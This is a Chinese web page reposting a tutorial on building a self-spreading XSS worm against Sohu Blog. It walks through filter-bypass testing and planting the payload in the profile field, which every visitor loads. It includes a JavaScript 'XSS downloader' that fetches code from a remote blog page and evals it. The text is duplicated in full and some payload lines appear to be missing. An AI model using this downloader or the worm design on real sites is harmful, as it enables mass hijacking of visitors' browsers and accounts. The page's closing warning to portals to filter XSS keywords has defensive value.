您现在的位置是:网站首页> 编程资料编程资料
完整的XSS wrom入侵实现流程 _入侵防御_网络安全_
2023-05-24
377人已围观
简介 完整的XSS wrom入侵实现流程 _入侵防御_网络安全_
我先拿SOHU BLOG做示范.
1.测试过滤字符,下面都是构造XSS所需要的关键字符(未包含全角字符,空格是个TABLE,\/前是真正的空格),在个人档案处看过滤了哪些.
’’;:!--"={()} \/
结果
’’;:!--"={()} // (&后是amp,论坛过滤了)
过滤了"javascript","&"和"\"这两个转义字符串,因此HTML转码和CSS样式转码已无效,只好从属性和事件入手.
2.测试一个XSS常用属性和两个事件,貌似没有过滤字符.
expression
onerror
onload
3.下面开始尝试构造语句.如下:



构造完整标记,页面输出后又全部过滤.
4."/"字符没有过滤因此可以构造/*xxxx*/注释符,expression属性可以配合注释符构造出语句:
5.由于expression属性比较特殊想当于一个死循环的EVAL函数,同时style标记里不能出现";"字符,也就是不能构造多条连接在一起的javascript,因此构造出如下语句:
//设置一个COOKIE在10秒后失效,并在这条COOKIE语句中执行其他语句或函数.
6.遗憾的是SOHU BLOG对于标记内不合适的内容都会过滤,因此我们无法eval标记内的某个变量,于是采用fromCharCode方法,将Unicode字符值专成字符串再用eval函数执行:
7.感染流程考虑:
㈠.BLOG页面的个人档案处是页面通用的,
㈡.XSS内容写到个人档案处,所有浏览者都会触发XSS
㈢.实现一段提交XSS内容到个人档案的代码.
8.个人档案处只能输入2048个字符,又采用了fromCharCode方法,因此出现XSS代码长度的限制,因此只能调用远程代码,于是写出了个XSS downloader.
主要代码:
function d(){
a=new ActiveXObject(’Microsoft.XMLHTTP’); /*调用XMLHTTP控件
a.Open(’get’,’http://s0n9.blog.sohu.com/31406970.html’,false);/*发出一个GET提交请求
a.send();
b=a.responseText; /*将传回值赋给变量B
eval(unescape(b.substring(b.indexOf(’--|’) 3,b.indexOf(’|--’))));
/*用indexOf计算 --|********|-- 的位置,用substring方法取出字符串,最后用unescape方法解码.
}d()
http://s0n9.blog.sohu.com/31406970.html 页面代码:
alert('xss');
/*利用escape将标点符号转码,由于responseText特性,某些字符会转换,如"&"字符会变成"&"(&后是amp,论坛过滤了)
PS:其他传染和详细的伪造提交的过程略去,各门户网站小心,过滤好XSS关键字,以防止XSS WROM爆发
1.测试过滤字符,下面都是构造XSS所需要的关键字符(未包含全角字符,空格是个TABLE,\/前是真正的空格),在个人档案处看过滤了哪些.
’’;:!--"
结果
’’;:!--"={()} // (&后是amp,论坛过滤了)
过滤了"javascript","&"和"\"这两个转义字符串,因此HTML转码和CSS样式转码已无效,只好从属性和事件入手.
2.测试一个XSS常用属性和两个事件,貌似没有过滤字符.
expression
onerror
onload
3.下面开始尝试构造语句.如下:

构造完整标记,页面输出后又全部过滤.
4."/"字符没有过滤因此可以构造/*xxxx*/注释符,expression属性可以配合注释符构造出语句:
5.由于expression属性比较特殊想当于一个死循环的EVAL函数,同时style标记里不能出现";"字符,也就是不能构造多条连接在一起的javascript,因此构造出如下语句:
//设置一个COOKIE在10秒后失效,并在这条COOKIE语句中执行其他语句或函数.
6.遗憾的是SOHU BLOG对于标记内不合适的内容都会过滤,因此我们无法eval标记内的某个变量,于是采用fromCharCode方法,将Unicode字符值专成字符串再用eval函数执行:
7.感染流程考虑:
㈠.BLOG页面的个人档案处是页面通用的,
㈡.XSS内容写到个人档案处,所有浏览者都会触发XSS
㈢.实现一段提交XSS内容到个人档案的代码.
8.个人档案处只能输入2048个字符,又采用了fromCharCode方法,因此出现XSS代码长度的限制,因此只能调用远程代码,于是写出了个XSS downloader.
主要代码:
function d(){
a=new ActiveXObject(’Microsoft.XMLHTTP’); /*调用XMLHTTP控件
a.Open(’get’,’http://s0n9.blog.sohu.com/31406970.html’,false);/*发出一个GET提交请求
a.send();
b=a.responseText; /*将传回值赋给变量B
eval(unescape(b.substring(b.indexOf(’--|’) 3,b.indexOf(’|--’))));
/*用indexOf计算 --|********|-- 的位置,用substring方法取出字符串,最后用unescape方法解码.
}d()
http://s0n9.blog.sohu.com/31406970.html 页面代码:
alert('xss');
/*利用escape将标点符号转码,由于responseText特性,某些字符会转换,如"&"字符会变成"&"(&后是amp,论坛过滤了)
PS:其他传染和详细的伪造提交的过程略去,各门户网站小心,过滤好XSS关键字,以防止XSS WROM爆发
相关内容
- 推荐:对FCBLOG的简单分析 _入侵防御_网络安全_
- 霸王背后的脆弱——完全解剖雷霆购物系统 _入侵防御_网络安全_
- dedecms v5.1/5.5 两处跨站漏洞的修复办法 _入侵防御_网络安全_
- SQL 手工注射原理小结_入侵防御_网络安全_
- 巧用Cacls.exe命令来修改文件访问控制权限_入侵防御_网络安全_
- php+mysql5半自动注入工具图文教程_入侵防御_网络安全_
- 黑客入侵常用的新型万能登陆密码_入侵防御_网络安全_
- 个人主机 入侵网络攻击的步骤_入侵防御_网络安全_
- 渗透服务器 绕过防注入文件_入侵防御_网络安全_
- DedeCms注入漏洞 影响版本5.3、5.5Posted in php _入侵防御_网络安全_
点击排行
本栏推荐
